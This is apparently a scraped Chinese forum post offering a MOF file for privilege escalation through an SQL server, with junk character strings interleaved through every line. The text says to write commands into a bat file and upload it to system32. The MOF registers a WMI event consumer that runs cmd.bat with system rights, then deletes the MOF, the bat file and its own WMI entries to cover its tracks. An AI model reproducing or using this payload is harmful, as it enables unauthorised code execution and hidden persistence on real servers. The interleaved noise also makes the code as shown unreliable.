这个sql提权MOF需要运行 system下的文件,不能定义路径。; @0 E9 d$ p" [; d; Y, F- A
需要将要运行的命令写入到bat上传到system32目录,然后执行。4 t* }0 ]1 `& v6 p
! y! x: ^' }' T- d5 r1 [5 h
这个sql提权MOF需要运行 system下的文件,不能定义路径。
, W% W4 G. x8 ?需要将要运行的命令写入到bat上传到system32目录,然后执行。4 K0 q- B: G5 y, B
! g# h- ?3 i' n' i, Z
#pragma
0 V1 t5 {/ E% p- P: p% i namespace("\\\\.\\root\\cimv2")
6 ~ `) x3 C! _* m. R class
7 y% G( v6 Q2 z0 F( T$ ? MyClass547
# f' b: i* l2 d { [key]
* o$ `% \1 z8 o1 Z! X3 i string
+ j1 x7 [% r' E" }3 F Name;9 C: Z$ z/ A- e! s
};
) M0 J( d: F2 t class
# W& A. J3 \6 R* b6 f ActiveScriptEventConsumer
9 c' Z% J9 W2 ?: K, }7 p* n : __EventConsumer { [key]
& }8 g6 [9 l* j D string2 p/ f- x+ k4 \
Name; [not_null]
4 M" U$ N f8 H$ ]+ l& d string
# q$ s! n9 P9 C& i( b& T/ G0 p ScriptingEngine; string
5 h' r; o0 j8 C+ I6 i4 z+ S ScriptFileName; [template]1 m1 f! J0 }. C( P
string
, o; i5 i- b- k) |1 ? ScriptText; uint32 KillTimeout;
; X4 U9 a9 `* b( d/ E" }+ r! V& E }; instance of __Win32Provider as $P {
2 \7 ?: z$ c* @4 {' Z/ Z; `5 O Name' k- l8 {% P; V4 q7 _
=
! p9 A9 J# W4 [ \" M4 e: E "ActiveScriptEventConsumer"; CLSID =/ ^5 N* o* |" ?/ Q. y: m
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";. ^4 L3 e' A8 ]
PerUserInitialization3 I( `+ p) j) j% G3 j. e
= TRUE;7 O* H# p I# I6 V# P
}; instance of __EventConsumerProviderRegistration { Provider
/ E, } A* j( Q& D9 q4 N = $P; ConsumerClassNames
( m1 V- B. U$ ] =
' k2 a+ ~! x1 m3 J& A {"ActiveScriptEventConsumer"};
" U, m! {* b5 i+ {* ~$ i };
5 i1 o' N0 |2 Y- q) N Instance of ActiveScriptEventConsumer
- Y4 l' |. G! Q! r. g' `( S as $cons { Name& G% A: R2 m8 e2 y3 D& _5 n- x
=
1 m7 J* K; I) r# c# _ "ASEC"; ScriptingEngine' l: C; w! d* i D/ [
=
+ Z+ g& t; ~$ o$ c. X5 w6 \ } "JScript"; ScriptText
2 _1 D, ^1 g. W' l1 } =
7 m M! F" c( K# ` "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
$ j4 d+ C' ]* p: D" n, C0 a Instance of ActiveScriptEventConsumer
) Y- [2 J3 m3 s# W1 n1 R( R) B) |, d as $cons2 { Name
Z, x. `7 z( Y) Q, I =
$ M& ]# m" B0 L3 l/ g; V "qndASEC"; ScriptingEngine6 X3 a2 |; \- y
=1 r2 u" g1 a( a7 E* U
"JScript"; ScriptText
i2 V+ L, r- k1 D# b =; K3 P7 Y" o, F; W3 w
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";/ j. F' y* s; }/ ^) Q0 g
}; instance of __EventFilter as $Filt { Name, S7 i$ \ C c3 |% E! q
=
V* m. C' E2 j: x7 {* A2 o8 b "instfilt"; Query5 l# X" c; u2 i! y$ v3 x: ?
=
: U1 w2 ^% l# @/ O% A "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage* A6 c) v2 l$ {4 U! {
=- Y; E2 X5 [; x& \/ a
"WQL"; }; instance of __EventFilter as $Filt2 { Name/ j3 J1 k0 H8 r3 M+ b9 B
=( T( L, k. ]) E6 ?0 X- S
"qndfilt"; Query
# H; x9 J% J( d9 ~; @' C8 l =) U, Z1 d( m* Q& C4 _' I( j: t
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage% B: f* O/ H4 `+ ^6 L
=! N; i' h: i, A @5 h
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer0 F* d( T: I# h9 u% m4 O
= $cons; Filter
; k7 v; z' z& v+ `) @ H = $Filt;0 d' i) m) g9 D2 m6 P; S
}; instance of __FilterToConsumerBinding as $bind2 { Consumer! Q8 O) U+ p0 n- x3 h
= $cons2; Filter$ _8 w1 F1 n6 L2 b) }) U# e1 A% A
= $Filt2;; Q# p+ y2 h2 _8 I# P ]
}; instance of MyClass5472 v% M" x$ h P
as $MyClass { Name
' c* g5 u: g, m6 @ =
* r' h- U1 x' G5 U "ClassConsumer";, P/ N1 k3 g( {' i
}; |